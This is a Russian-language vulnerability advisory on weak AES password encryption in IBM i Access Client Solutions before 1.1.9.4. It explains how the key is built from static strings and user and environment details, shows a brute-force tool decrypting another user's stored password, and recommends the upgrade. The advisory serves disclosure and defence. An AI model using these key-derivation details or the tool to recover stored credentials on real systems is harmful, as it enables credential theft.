
IBM i Access Client Solutions < 1.1.9.4 - Слабое шифрование паролей
IBM i Access Client Solutions < 1.1.9.4 - Слабое шифрование паролей
IBM i Access Client Solutions для хранения пользовательских паролей использует алгоритм AES, однако 16-байтовый ключ шифрования представляет собой комбинацию статической строки (Thanatos) и случайных символов из строки, которая состоит из другой статической строки (Behemoth), объединённой с именем пользователя, домашним каталогом пользователя, ОС (например, Linux) и текущим каталогом, в котором было запущено приложение. В результате половина ключа шифрования является статической (строка Thanatos), а вторая половина очень ограничена. Это позволяет атакующему очень легко подобрать пароль даже на одном ядре CPU.
Ниже приведён пример дешифрования пароля пользователя mmajchrowicz с помощью скрипта as400_password_bruteforce_tool.java, запущенного из учётной записи mkubiak:
┌──(mkubiak㉿localhost)-[/tmp/mkubiak]
└─$ java as400_password_bruteforce_tool.java mmajchrowicz_funciton_admin_work.bin Linux mmajchrowicz /opt
IBM AS400 Password Bruteforce Tool v0.3 by Michał Majchrowicz AFINE Team
Full keyspace: mmajchrowiczLinux/opt/home/mmajchrowiczBehemoth
Full keyspace length: 47
Reduced keyspace: BmajchrowizLnux/pte
Reduced keyspace length: 19
Found good pass: Thanatosaun/Lcmo
Encrypted system password 7 bytes:
2E 1B 10 0A 1B 0D 0A
Decrypted system password 7 bytes:
50 65 6E 74 65 73 74
Decrypted system password: Pentest
Эта проблема была вызвана использованием слабого шифрования паролей. Данная проблема исправлена в IBM i Access Client Solutions 1.1.9.4.
< 1.1.9.4
Обновите IBM i Access Client Solutions до версии 1.1.9.4 или новее.